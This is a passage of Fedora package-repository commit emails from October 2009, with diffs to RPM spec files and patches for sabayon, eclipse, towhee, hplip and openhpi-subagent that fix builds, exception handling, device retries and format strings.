%define SYSFS_SCHEMA %{_datadir}/%{name}/Linux_SysfsAttribute.mof %{_datadir}/%{name}/Linux_SysfsBlockDevice.mof %{_datadir}/%{name}/Linux_SysfsBusDevice.mof %{_datadir}/%{name}/Linux_SysfsInputDevice.mof %{_datadir}/%{name}/Linux_SysfsNetworkDevice.mof %{_datadir}/%{name}/Linux_SysfsSCSIDevice.mof %{_datadir}/%{name}/Linux_SysfsSCSIHostDevice.mof %{_datadir}/%{name}/Linux_SysfsTTYDevice.mof
%define SYSFS_REGISTRATION %{_datadir}/%{name}/Linux_SysfsAttribute.registration %{_datadir}/%{name}/Linux_SysfsBlockDevice.registration %{_datadir}/%{name}/Linux_SysfsBusDevice.registration %{_datadir}/%{name}/Linux_SysfsInputDevice.registration %{_datadir}/%{name}/Linux_SysfsNetworkDevice.registration %{_datadir}/%{name}/Linux_SysfsSCSIDevice.registration %{_datadir}/%{name}/Linux_SysfsSCSIHostDevice.registration %{_datadir}/%{name}/Linux_SysfsTTYDevice.registration

%pre
if [ $1 -gt 1 ]; then
  %{_datadir}/%{name}/provider-register.sh -d \
        -t pegasus -r %{SYSFS_REGISTRATION} -m %{SYSFS_SCHEMA} > /dev/null 2>&1 || :;
fi

%post
/sbin/ldconfig
if [ $1 -ge 1 ]; then
   %{_datadir}/%{name}/provider-register.sh \
   -t pegasus -r %{SYSFS_REGISTRATION} -m %{SYSFS_SCHEMA} > /dev/null 2>&1 || :;
fi

%preun
if [ $1 -eq 0 ]; then
   %{_datadir}/%{name}/provider-register.sh -d \
   -t pegasus -r %{SYSFS_REGISTRATION} -m %{SYSFS_SCHEMA} > /dev/null 2>&1 || :;
fi

%postun -p /sbin/ldconfig


%changelog
* Wed Oct 14 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 1.1.9-1
- Initial support


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-sysfs/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:45:16 -0000	1.1
+++ sources	23 Oct 2009 09:41:37 -0000	1.2
@@ -0,0 +1 @@
+e8a362e6ed4020df2a97191b1d18fe59  sblim-cmpi-sysfs-1.1.9.tar.bz2



From tbzatek at fedoraproject.org  Fri Oct 23 09:42:21 2009
From: tbzatek at fedoraproject.org (Tomas Bzatek)
Date: Fri, 23 Oct 2009 09:42:21 +0000 (UTC)
Subject: rpms/sabayon/devel sabayon.spec,1.64,1.65 selinux.patch,1.2,1.3
Message-ID: <20091023094221.3333A11C01EA@cvs1.fedora.phx.redhat.com>

Author: tbzatek

Update of /cvs/extras/rpms/sabayon/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28009

Modified Files:
	sabayon.spec selinux.patch 
Log Message:
* Fri Oct 23 2009 Dan Walsh <dwalsh at redhat.com> - 2.28.0-2
- Move errors to sabayon-apply package
- Only trap Exception on sabayon-apply error



Index: sabayon.spec
===================================================================
RCS file: /cvs/extras/rpms/sabayon/devel/sabayon.spec,v
retrieving revision 1.64
retrieving revision 1.65
diff -u -p -r1.64 -r1.65
--- sabayon.spec	22 Sep 2009 08:37:24 -0000	1.64
+++ sabayon.spec	23 Oct 2009 09:42:20 -0000	1.65
@@ -8,7 +8,7 @@
 
 Name:    sabayon
 Version: 2.28.0
-Release: 1%{?dist}
+Release: 2%{?dist}
 Summary: Tool to maintain user profiles in a GNOME desktop
 
 Group:   Applications/System
@@ -194,6 +194,9 @@ fi
 %{python_sitearch}/%{name}/debuglog.py
 %{python_sitearch}/%{name}/debuglog.pyc
 %ghost %{python_sitearch}/%{name}/debuglog.pyo
+%{python_sitearch}/%{name}/errors.py
+%{python_sitearch}/%{name}/errors.pyc
+%ghost %{python_sitearch}/%{name}/errors.pyo
 
 %dir %{python_sitearch}/%{name}/sources
 %{python_sitearch}/%{name}/sources/*.py
@@ -259,9 +262,6 @@ fi
 %{python_sitearch}/%{name}/lockdownappliersabayon.py
 %{python_sitearch}/%{name}/lockdownappliersabayon.pyc
 %ghost %{python_sitearch}/%{name}/lockdownappliersabayon.pyo
-%{python_sitearch}/%{name}/errors.py
-%{python_sitearch}/%{name}/errors.pyc
-%ghost %{python_sitearch}/%{name}/errors.pyo
 
 %dir %{python_sitearch}/%{name}/lockdown
 %{python_sitearch}/%{name}/lockdown/*.py
@@ -269,6 +269,10 @@ fi
 %ghost %{python_sitearch}/%{name}/lockdown/*.pyo
 
 %changelog
+* Fri Oct 23 2009 Dan Walsh <dwalsh at redhat.com> - 2.28.0-2
+- Move errors to sabayon-apply package
+- Only trap Exception on sabayon-apply error
+
 * Tue Sep 22 2009 Tomas Bzatek <tbzatek at redhat.com> - 2.28.0-1
 - Update to 2.28.0
 

selinux.patch:
 sabayon-2.22.0/admin-tool/profilesdialog.py |    6 ++++++
 sabayon-2.22.0/lib/userdb.py                |    6 ++++++
 sabayon-2.28.0/admin-tool/sabayon-apply     |    2 +-
 3 files changed, 13 insertions(+), 1 deletion(-)

Index: selinux.patch
===================================================================
RCS file: /cvs/extras/rpms/sabayon/devel/selinux.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- selinux.patch	12 Mar 2008 01:11:35 -0000	1.2
+++ selinux.patch	23 Oct 2009 09:42:21 -0000	1.3
@@ -44,3 +44,15 @@ diff -up sabayon-2.22.0/lib/userdb.py.se
          self.modified = 0
  
      def set_default_profile (self, profile):
+diff -up sabayon-2.28.0/admin-tool/sabayon-apply~ sabayon-2.28.0/admin-tool/sabayon-apply
+--- sabayon-2.28.0/admin-tool/sabayon-apply~	2009-09-21 16:12:03.000000000 -0400
++++ sabayon-2.28.0/admin-tool/sabayon-apply	2009-10-22 16:23:21.000000000 -0400
+@@ -115,7 +115,7 @@ if __name__ == '__main__':
+ 
+         if errors.errors_have_recoverable_error ():
+             mprint ("There were recoverable errors while applying the profile.")
+-    except:
++    except Exception:
+         errors.errors_exit_with_fatal_exception (debuglog.DEBUG_LOG_DOMAIN_SABAYON_APPLY,
+                                                  util.get_admin_log_config_filename ())
+ 



From akurtakov at fedoraproject.org  Fri Oct 23 09:58:19 2009
From: akurtakov at fedoraproject.org (Alexander Kurtakov)
Date: Fri, 23 Oct 2009 09:58:19 +0000 (UTC)
Subject: rpms/eclipse/devel eclipse.spec,1.682,1.683
Message-ID: <20091023095819.760BD11C01EA@cvs1.fedora.phx.redhat.com>

Author: akurtakov

Update of /cvs/pkgs/rpms/eclipse/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30296/devel

Modified Files:
	eclipse.spec 
Log Message:
* Fri Oct 23 2009 Alexander Kurtakov <akurtako at redhat.com> 1:3.5.1-12
- No need to invoke desktop-file-install, it's handled by e-b install now.


Index: eclipse.spec
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse/devel/eclipse.spec,v
retrieving revision 1.682
retrieving revision 1.683
diff -u -p -r1.682 -r1.683
--- eclipse.spec	22 Oct 2009 09:49:41 -0000	1.682
+++ eclipse.spec	23 Oct 2009 09:58:19 -0000	1.683
@@ -30,7 +30,7 @@ Epoch:  1
 Summary:        An open, extensible IDE
 Name:           eclipse
 Version:        %{eclipse_majmin}.%{eclipse_micro}
-Release:        11%{?dist}
+Release:        12%{?dist}
 License:        EPL
 Group:          Text Editors/Integrated Development Environments (IDE)
 URL:            http://www.eclipse.org/
@@ -654,11 +654,7 @@ sed --in-place "s:startup.jar:%{_libdir}
 rm -rf $installDir
 
 # A sanity check.
-desktop-file-validate %{name}.desktop
-
-# freedesktop.org menu entry
-desktop-file-install --vendor="fedora" \
---dir=$RPM_BUILD_ROOT%{_datadir}/applications %{name}.desktop
+desktop-file-validate %{buildroot}/%{_datadir}/applications/%{name}.desktop
 
 # Create a script that can be used to make a symlink tree of the
 # eclipse platform.
@@ -1085,6 +1081,9 @@ fi
 #%{_libdir}/%{name}/configuration/org.eclipse.equinox.source
 
 %changelog
+* Fri Oct 23 2009 Alexander Kurtakov <akurtako at redhat.com> 1:3.5.1-12
+- No need to invoke desktop-file-install, it's handled by e-b install now. 
+
 * Thu Oct 22 2009 Alexander Kurtakov <akurtako at redhat.com> 1:3.5.1-11
 - Remove ppc64 files copying and sedding. Supported by eclipse-build now.
 



From jussilehtola at fedoraproject.org  Fri Oct 23 11:03:22 2009
From: jussilehtola at fedoraproject.org (Jussi Lehtola)
Date: Fri, 23 Oct 2009 11:03:22 +0000 (UTC)
Subject: rpms/towhee/devel towhee.spec,1.7,1.8
Message-ID: <20091023110322.DD47811C029A@cvs1.fedora.phx.redhat.com>

Author: jussilehtola

Update of /cvs/pkgs/rpms/towhee/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11466

Modified Files:
	towhee.spec 
Log Message:
Fix FTBFS caused by openmpi.


Index: towhee.spec
===================================================================
RCS file: /cvs/pkgs/rpms/towhee/devel/towhee.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- towhee.spec	27 Jul 2009 06:09:14 -0000	1.7
+++ towhee.spec	23 Oct 2009 11:03:22 -0000	1.8
@@ -1,6 +1,6 @@
 Name:		towhee
 Version:	6.2.6
-Release:	3%{?dist}
+Release:	4%{?dist}
 Summary:	A Monte Carlo molecular simulation code
 Group:		Applications/Engineering
 License:	GPLv2+
@@ -137,8 +137,8 @@ cd ..
 # Load MPI enviroment
 
 %if %modules == 1
-. /etc/profile.d/modules.sh
-module load %{_libdir}/openmpi/*/openmpi.module
+#. /etc/profile.d/modules.sh
+module load openmpi-%{_arch}
 export CFLAGS="%{optflags}"
 %endif
 
@@ -212,6 +212,9 @@ rm -rf %{buildroot} 
 %doc Examples/*
 
 %changelog
+* Fri Oct 23 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 6.2.6-4
+- Fix FTBFS problem caused by behaviour change of openmpi.
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 6.2.6-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From twaugh at fedoraproject.org  Fri Oct 23 11:49:40 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Fri, 23 Oct 2009 11:49:40 +0000 (UTC)
Subject: rpms/hplip/F-11 hplip-retry-open.patch, NONE, 1.1 hplip.spec, 1.233,
	1.234
Message-ID: <20091023114940.CB71A11C01EA@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/hplip/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22447

Modified Files:
	hplip.spec 
Added Files:
	hplip-retry-open.patch 
Log Message:
* Fri Oct 23 2009 Tim Waugh <twaugh at redhat.com> 3.9.8-15
- Retry when connecting to device fails (bug #528483).


hplip-retry-open.patch:
 hp.c |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE hplip-retry-open.patch ---
--- hplip-3.9.8/prnt/backend/hp.c~	2009-10-23 11:58:20.775792057 +0100
+++ hplip-3.9.8/prnt/backend/hp.c	2009-10-23 12:12:18.142792641 +0100
@@ -724,7 +724,8 @@ int main(int argc, char *argv[])
                /* Open hp device. */
                while ((stat = hpmud_open_device(argv[0], ma.prt_mode, &hd)) != HPMUD_R_OK)
                {
-                  if (stat != HPMUD_R_DEVICE_BUSY)
+                  if (stat != HPMUD_R_DEVICE_BUSY &&
+		      stat != HPMUD_R_IO_ERROR)
                   {
                      BUG("ERROR: cannot open device stat=%d: %s\n", stat, argv[0]);
                      goto bugout;


Index: hplip.spec
===================================================================
RCS file: /cvs/pkgs/rpms/hplip/F-11/hplip.spec,v
retrieving revision 1.233
retrieving revision 1.234
diff -u -p -r1.233 -r1.234
--- hplip.spec	29 Sep 2009 16:09:56 -0000	1.233
+++ hplip.spec	23 Oct 2009 11:49:39 -0000	1.234
@@ -1,7 +1,7 @@
 Summary: HP Linux Imaging and Printing Project
 Name: hplip
 Version: 3.9.8
-Release: 14%{?dist}
+Release: 15%{?dist}
 License: GPLv2+ and MIT
 Group: System Environment/Daemons
 Conflicts: system-config-printer < 0.6.132
@@ -25,6 +25,7 @@ Patch8: hplip-non-scripts.patch
 Patch9: hplip-requirespageregion.patch
 Patch10: hplip-discovery-method.patch
 Patch11: hplip-device-reconnected.patch
+Patch12: hplip-retry-open.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 Requires(pre): /sbin/service
@@ -147,6 +148,9 @@ rm -rf $RPM_BUILD_DIR/%{name}-%{version}
 # Give up trying to print a job to a reconnected device (bug #515481).
 %patch11 -p1 -b .device-reconnected
 
+# Retry when connecting to device fails (bug #528483).
+%patch12 -p1 -b .retry-open
+
 %build
 aclocal
 automake --foreign --add-missing --copy
@@ -364,6 +368,9 @@ fi
 exit 0
 
 %changelog
+* Fri Oct 23 2009 Tim Waugh <twaugh at redhat.com> 3.9.8-15
+- Retry when connecting to device fails (bug #528483).
+
 * Tue Sep 29 2009 Tim Waugh <twaugh at redhat.com> 3.9.8-14
 - Give up trying to print a job to a reconnected device (bug #515481).
 



From jussilehtola at fedoraproject.org  Fri Oct 23 12:11:31 2009
From: jussilehtola at fedoraproject.org (Jussi Lehtola)
Date: Fri, 23 Oct 2009 12:11:31 +0000 (UTC)
Subject: rpms/towhee/F-12 towhee.spec,1.7,1.8
Message-ID: <20091023121131.4C68D11C01EA@cvs1.fedora.phx.redhat.com>

Author: jussilehtola

Update of /cvs/pkgs/rpms/towhee/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28417

Modified Files:
	towhee.spec 
Log Message:
Fix FTBFS caused by openmpi.


Index: towhee.spec
===================================================================
RCS file: /cvs/pkgs/rpms/towhee/F-12/towhee.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- towhee.spec	27 Jul 2009 06:09:14 -0000	1.7
+++ towhee.spec	23 Oct 2009 12:11:30 -0000	1.8
@@ -1,6 +1,6 @@
 Name:		towhee
 Version:	6.2.6
-Release:	3%{?dist}
+Release:	4%{?dist}
 Summary:	A Monte Carlo molecular simulation code
 Group:		Applications/Engineering
 License:	GPLv2+
@@ -137,8 +137,8 @@ cd ..
 # Load MPI enviroment
 
 %if %modules == 1
-. /etc/profile.d/modules.sh
-module load %{_libdir}/openmpi/*/openmpi.module
+#. /etc/profile.d/modules.sh
+module load openmpi-%{_arch}
 export CFLAGS="%{optflags}"
 %endif
 
@@ -212,6 +212,9 @@ rm -rf %{buildroot} 
 %doc Examples/*
 
 %changelog
+* Fri Oct 23 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 6.2.6-4
+- Fix FTBFS problem caused by behaviour change of openmpi.
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 6.2.6-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From tbzatek at fedoraproject.org  Fri Oct 23 12:31:54 2009
From: tbzatek at fedoraproject.org (Tomas Bzatek)
Date: Fri, 23 Oct 2009 12:31:54 +0000 (UTC)
Subject: rpms/sabayon/F-11 sabayon.spec,1.60,1.61 selinux.patch,1.2,1.3
Message-ID: <20091023123154.82AA511C01EA@cvs1.fedora.phx.redhat.com>

Author: tbzatek

Update of /cvs/extras/rpms/sabayon/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32696

Modified Files:
	sabayon.spec selinux.patch 
Log Message:
* Fri Oct 23 2009 Tomas Bzatek <tbzatek at redhat.com> - 2.25.0-4
- Move errors.py to sabayon-apply package
- Only trap Exception on sabayon-apply error



Index: sabayon.spec
===================================================================
RCS file: /cvs/extras/rpms/sabayon/F-11/sabayon.spec,v
retrieving revision 1.60
retrieving revision 1.61
diff -u -p -r1.60 -r1.61
--- sabayon.spec	20 Apr 2009 11:44:30 -0000	1.60
+++ sabayon.spec	23 Oct 2009 12:31:53 -0000	1.61
@@ -8,7 +8,7 @@
 
 Name:    sabayon
 Version: 2.25.0
-Release: 3%{?dist}
+Release: 4%{?dist}
 Summary: Tool to maintain user profiles in a GNOME desktop
 
 Group:   Applications/System
@@ -223,6 +223,9 @@ fi
 %{python_sitearch}/%{name}/debuglog.py
 %{python_sitearch}/%{name}/debuglog.pyc
 %ghost %{python_sitearch}/%{name}/debuglog.pyo
+%{python_sitearch}/%{name}/errors.py
+%{python_sitearch}/%{name}/errors.pyc
+%ghost %{python_sitearch}/%{name}/errors.pyo
 
 %dir %{python_sitearch}/%{name}/sources
 %{python_sitearch}/%{name}/sources/*.py
@@ -288,9 +291,6 @@ fi
 %{python_sitearch}/%{name}/lockdownappliersabayon.py
 %{python_sitearch}/%{name}/lockdownappliersabayon.pyc
 %ghost %{python_sitearch}/%{name}/lockdownappliersabayon.pyo
-%{python_sitearch}/%{name}/errors.py
-%{python_sitearch}/%{name}/errors.pyc
-%ghost %{python_sitearch}/%{name}/errors.pyo
 
 %dir %{python_sitearch}/%{name}/lockdown
 %{python_sitearch}/%{name}/lockdown/*.py
@@ -298,6 +298,10 @@ fi
 %ghost %{python_sitearch}/%{name}/lockdown/*.pyo
 
 %changelog
+* Fri Oct 23 2009 Tomas Bzatek <tbzatek at redhat.com> - 2.25.0-4
+- Move errors.py to sabayon-apply package
+- Only trap Exception on sabayon-apply error
+
 * Mon Apr 20 2009 Tomas Bzatek <tbzatek at redhat.com> - 2.25.0-3
 - Another, more complete fix for panel gconf save issues (gnome #542604)
 

selinux.patch:
 sabayon-2.22.0/admin-tool/profilesdialog.py |    6 ++++++
 sabayon-2.22.0/lib/userdb.py                |    6 ++++++
 sabayon-2.28.0/admin-tool/sabayon-apply     |    2 +-
 3 files changed, 13 insertions(+), 1 deletion(-)

Index: selinux.patch
===================================================================
RCS file: /cvs/extras/rpms/sabayon/F-11/selinux.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- selinux.patch	12 Mar 2008 01:11:35 -0000	1.2
+++ selinux.patch	23 Oct 2009 12:31:54 -0000	1.3
@@ -44,3 +44,15 @@ diff -up sabayon-2.22.0/lib/userdb.py.se
          self.modified = 0
  
      def set_default_profile (self, profile):
+diff -up sabayon-2.28.0/admin-tool/sabayon-apply~ sabayon-2.28.0/admin-tool/sabayon-apply
+--- sabayon-2.28.0/admin-tool/sabayon-apply~	2009-09-21 16:12:03.000000000 -0400
++++ sabayon-2.28.0/admin-tool/sabayon-apply	2009-10-22 16:23:21.000000000 -0400
+@@ -115,7 +115,7 @@ if __name__ == '__main__':
+ 
+         if errors.errors_have_recoverable_error ():
+             mprint ("There were recoverable errors while applying the profile.")
+-    except:
++    except Exception:
+         errors.errors_exit_with_fatal_exception (debuglog.DEBUG_LOG_DOMAIN_SABAYON_APPLY,
+                                                  util.get_admin_log_config_filename ())
+ 



From sharkcz at fedoraproject.org  Fri Oct 23 12:35:42 2009
From: sharkcz at fedoraproject.org (=?utf-8?q?Dan_Hor=C3=A1k?=)
Date: Fri, 23 Oct 2009 12:35:42 +0000 (UTC)
Subject: rpms/openhpi-subagent/devel openhpi-subagent-2.3.4-format.patch,
	NONE, 1.1 openhpi-subagent.spec, 1.6, 1.7
Message-ID: <20091023123542.9AAA711C01EA@cvs1.fedora.phx.redhat.com>

Author: sharkcz

Update of /cvs/pkgs/rpms/openhpi-subagent/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1298

Modified Files:
	openhpi-subagent.spec 
Added Files:
	openhpi-subagent-2.3.4-format.patch 
Log Message:
* Fri Oct 23 2009 Dan Hor?k <dan[at]danny.cz> - 2.3.4-8
- fix build with net-snmp >= 5.5 (#524263)


openhpi-subagent-2.3.4-format.patch:
 saHpiAnnouncementTable.c      |    4 ++--
 saHpiAreaTable.c              |    2 +-
 saHpiAutoInsertTimeoutTable.c |    2 +-
 saHpiDomainInfoTable.c        |    2 +-
 saHpiDomainReferenceTable.c   |    2 +-
 saHpiEventLogInfoTable.c      |    2 +-
 saHpiFieldTable.c             |    2 +-
 saHpiHotSwapTable.c           |    2 +-
 saHpiRdrTable.c               |    6 +++---
 saHpiResourceTable.c          |    8 ++++----
 saHpiUserEventLogTable.c      |    2 +-
 saHpiUserEventTable.c         |    2 +-
 12 files changed, 18 insertions(+), 18 deletions(-)

--- NEW FILE openhpi-subagent-2.3.4-format.patch ---
diff -Nrup openhpi-subagent-2.3.4.orig/src/saHpiAnnouncementTable.c openhpi-subagent-2.3.4/src/saHpiAnnouncementTable.c
--- openhpi-subagent-2.3.4.orig/src/saHpiAnnouncementTable.c	2006-09-13 17:41:26.000000000 +0200
+++ openhpi-subagent-2.3.4/src/saHpiAnnouncementTable.c	2009-10-23 13:34:12.000000000 +0200
@@ -429,7 +429,7 @@ int announcement_add (saHpiAnnouncementT
                 if (rc != SA_OK) {
                         DEBUGMSGTL ((AGENT, 
                         "announcement_add: oh_encode_entitypath Failed:"
-                        " rc = %d\n",
+                        " rc = %s\n",
                         oh_lookup_error(rc)));
                 }
 
@@ -450,7 +450,7 @@ int announcement_add (saHpiAnnouncementT
                         if (rc != SA_OK) {
                                 DEBUGMSGTL ((AGENT, 
                                 "announcement_add: oh_encode_eventstate Failed:"
-                                " rc = %d\n",
+                                " rc = %s\n",
                                  oh_lookup_error(rc)));
                         }	         	
                 }
diff -Nrup openhpi-subagent-2.3.4.orig/src/saHpiAreaTable.c openhpi-subagent-2.3.4/src/saHpiAreaTable.c
--- openhpi-subagent-2.3.4.orig/src/saHpiAreaTable.c	2006-09-13 17:41:26.000000000 +0200
+++ openhpi-subagent-2.3.4/src/saHpiAreaTable.c	2009-10-23 13:34:12.000000000 +0200
@@ -1111,7 +1111,7 @@ void saHpiAreaTable_set_reserve1( netsnm
                                         dri_entry->entry_id++;
                                 } else {
                                         DEBUGMSGTL ((AGENT,"dri_entry->entry_id [%d]\n", dri_entry->entry_id));
-                                        DEBUGMSGTL ((AGENT,"row_ctx->index.oids[saHpiAreaId_INDEX] [%d]\n", row_ctx->index.oids[saHpiAreaId_INDEX]));
+                                        DEBUGMSGTL ((AGENT,"row_ctx->index.oids[saHpiAreaId_INDEX] [%ld]\n", row_ctx->index.oids[saHpiAreaId_INDEX]));
                                         DEBUGMSGTL ((AGENT, 
                                                      "ERROR: saHpiAreaTable_set_reserve1() User specified AreaId invalid!!!\n"));
                                         rc = SNMP_ERR_WRONGVALUE;
diff -Nrup openhpi-subagent-2.3.4.orig/src/saHpiAutoInsertTimeoutTable.c openhpi-subagent-2.3.4/src/saHpiAutoInsertTimeoutTable.c
--- openhpi-subagent-2.3.4.orig/src/saHpiAutoInsertTimeoutTable.c	2006-09-13 17:41:26.000000000 +0200
+++ openhpi-subagent-2.3.4/src/saHpiAutoInsertTimeoutTable.c	2009-10-23 13:34:12.000000000 +0200
@@ -587,7 +587,7 @@ void saHpiAutoInsertTimeoutTable_set_res
                             rc = SNMP_ERR_WRONGLENGTH;
                             DEBUGMSGTL ((AGENT, 
                             "COLUMN_SAHPIAUTOINSERTTIMEOUTFORINSERT"
-                            " SNMP_ERR_WRONGLENGTH\n", rc));
+                            " SNMP_ERR_WRONGLENGTH\n"));
                     }
             }
         break;
diff -Nrup openhpi-subagent-2.3.4.orig/src/saHpiDomainInfoTable.c openhpi-subagent-2.3.4/src/saHpiDomainInfoTable.c
--- openhpi-subagent-2.3.4.orig/src/saHpiDomainInfoTable.c	2006-09-13 17:41:26.000000000 +0200
+++ openhpi-subagent-2.3.4/src/saHpiDomainInfoTable.c	2009-10-23 13:33:55.000000000 +0200
@@ -350,7 +350,7 @@ int handle_saHpiDomainInfoActiveEntries(
                           netsnmp_agent_request_info   *reqinfo,
                           netsnmp_request_info         *requests)
 {
-	DEBUGMSGTL ((AGENT, "handle_saHpiDomainInfoActiveEntries: Entry Count is %d\n", 
+	DEBUGMSGTL ((AGENT, "handle_saHpiDomainInfoActiveEntries: Entry Count is %ld\n", 
 					domain_info_entry_count));  	
 	
     /* We are never called for a GETNEXT if it's registered as a
diff -Nrup openhpi-subagent-2.3.4.orig/src/saHpiDomainReferenceTable.c openhpi-subagent-2.3.4/src/saHpiDomainReferenceTable.c
--- openhpi-subagent-2.3.4.orig/src/saHpiDomainReferenceTable.c	2006-09-13 17:41:26.000000000 +0200
+++ openhpi-subagent-2.3.4/src/saHpiDomainReferenceTable.c	2009-10-23 13:34:12.000000000 +0200
@@ -220,7 +220,7 @@ handle_saHpiDomainReferenceActiveEntries
                           netsnmp_request_info         *requests)
 {
 	DEBUGMSGTL ((AGENT, 
-				"handle_saHpiDomainReferenceActiveEntries: Entry Count is %d\n", 
+				"handle_saHpiDomainReferenceActiveEntries: Entry Count is %ld\n", 
 				domain_reference_entry_count));
 
     domain_reference_entry_count = CONTAINER_SIZE (cb.container);
diff -Nrup openhpi-subagent-2.3.4.orig/src/saHpiEventLogInfoTable.c openhpi-subagent-2.3.4/src/saHpiEventLogInfoTable.c
--- openhpi-subagent-2.3.4.orig/src/saHpiEventLogInfoTable.c	2006-09-13 17:41:26.000000000 +0200
+++ openhpi-subagent-2.3.4/src/saHpiEventLogInfoTable.c	2009-10-23 13:34:12.000000000 +0200
@@ -1184,7 +1184,7 @@ void saHpiEventLogInfoTable_set_reserve1
                             rc = SNMP_ERR_WRONGLENGTH;
                             DEBUGMSGTL ((AGENT, 
                             "COLUMN_SAHPIEVENTLOGINFOTIME"
-                            " SNMP_ERR_WRONGLENGTH\n", rc));
+                            " SNMP_ERR_WRONGLENGTH\n"));
                     }
             }
 
diff -Nrup openhpi-subagent-2.3.4.orig/src/saHpiFieldTable.c openhpi-subagent-2.3.4/src/saHpiFieldTable.c
--- openhpi-subagent-2.3.4.orig/src/saHpiFieldTable.c	2006-09-13 17:41:26.000000000 +0200
+++ openhpi-subagent-2.3.4/src/saHpiFieldTable.c	2009-10-23 13:34:12.000000000 +0200
@@ -1409,7 +1409,7 @@ void saHpiFieldTable_set_reserve1( netsn
                     } else {
                             DEBUGMSGTL ((AGENT,"***********************************************\n"));
                             DEBUGMSGTL ((AGENT,"dria_entry->entry_id [%d]\n", dria_entry->entry_id));
-                            DEBUGMSGTL ((AGENT,"row_ctx->index.oids[saHpiFieldId_INDEX] [%d]\n", 
+                            DEBUGMSGTL ((AGENT,"row_ctx->index.oids[saHpiFieldId_INDEX] [%ld]\n", 
                                          row_ctx->index.oids[saHpiFieldId_field_INDEX]));
                             DEBUGMSGTL ((AGENT, 
                                          "ERROR: saHpiFieldTable_set_reserve1() User specified FieldId invalid!!!\n"));
diff -Nrup openhpi-subagent-2.3.4.orig/src/saHpiHotSwapTable.c openhpi-subagent-2.3.4/src/saHpiHotSwapTable.c
--- openhpi-subagent-2.3.4.orig/src/saHpiHotSwapTable.c	2006-09-13 17:41:26.000000000 +0200
+++ openhpi-subagent-2.3.4/src/saHpiHotSwapTable.c	2009-10-23 13:34:12.000000000 +0200
@@ -997,7 +997,7 @@ void saHpiHotSwapTable_set_reserve1( net
                             rc = SNMP_ERR_WRONGLENGTH;
                             DEBUGMSGTL ((AGENT, 
                             "COLUMN_SAHPIHOTSWAPEXTRACTTIMEOUT"
-                            " SNMP_ERR_WRONGLENGTH\n", rc));
+                            " SNMP_ERR_WRONGLENGTH\n"));
                     }
             }
             break;
diff -Nrup openhpi-subagent-2.3.4.orig/src/saHpiRdrTable.c openhpi-subagent-2.3.4/src/saHpiRdrTable.c
--- openhpi-subagent-2.3.4.orig/src/saHpiRdrTable.c	2006-09-13 17:41:26.000000000 +0200
+++ openhpi-subagent-2.3.4/src/saHpiRdrTable.c	2009-10-23 13:34:12.000000000 +0200
@@ -492,7 +492,7 @@ int populate_saHpiRdrTable(SaHpiSessionI
 	
 	rdr_entry_count = CONTAINER_SIZE (cb.container);
 	
-	DEBUGMSGTL ((AGENT, "populate_saHpiRdrTable: rdr_entry_count = %d\n", rdr_entry_count));
+	DEBUGMSGTL ((AGENT, "populate_saHpiRdrTable: rdr_entry_count = %ld\n", rdr_entry_count));
 		
 	
 	subagent_unlock(&hpi_lock_data);
@@ -528,8 +528,8 @@ SaErrorT clear_rdr_container(SaHpiDomain
                 do {
                         rdr_ctx = CONTAINER_FIND(cb.container, row_idx);
                         
-                        DEBUGMSGTL ((AGENT, "CONTAINER_FIND: rdr_ctx: [%d] row_idx: [%d]"
-                                            " counter [%d], rdr_entry_count [%d]\n", 
+                        DEBUGMSGTL ((AGENT, "CONTAINER_FIND: rdr_ctx: [%p] row_idx: [%p]"
+                                            " counter [%d], rdr_entry_count [%ld]\n", 
                                      rdr_ctx, row_idx, counter++, rdr_entry_count));
 
                         row_idx = CONTAINER_NEXT(cb.container, row_idx);
diff -Nrup openhpi-subagent-2.3.4.orig/src/saHpiResourceTable.c openhpi-subagent-2.3.4/src/saHpiResourceTable.c
--- openhpi-subagent-2.3.4.orig/src/saHpiResourceTable.c	2006-09-13 17:41:26.000000000 +0200
+++ openhpi-subagent-2.3.4/src/saHpiResourceTable.c	2009-10-23 13:34:12.000000000 +0200
@@ -254,7 +254,7 @@ int populate_saHpiResourceTable(SaHpiSes
 
 		DEBUGMSGTL ((AGENT, "populate_saHpiResourceTable RptEntry.ResourceTag.DataLength rv = %d\n", 
                              RptEntry.ResourceTag.DataLength));
-		DEBUGMSGTL ((AGENT, "populate_saHpiResourceTable strlen(RptEntry.ResourceTag.Data) rv = %d\n", 
+		DEBUGMSGTL ((AGENT, "populate_saHpiResourceTable strlen(RptEntry.ResourceTag.Data) rv = %ld\n", 
                              strlen((const char *)RptEntry.ResourceTag.Data))); 
 
 
@@ -322,7 +322,7 @@ int populate_saHpiResourceTable(SaHpiSes
 
 	resource_entry_count = CONTAINER_SIZE (cb.container);
 
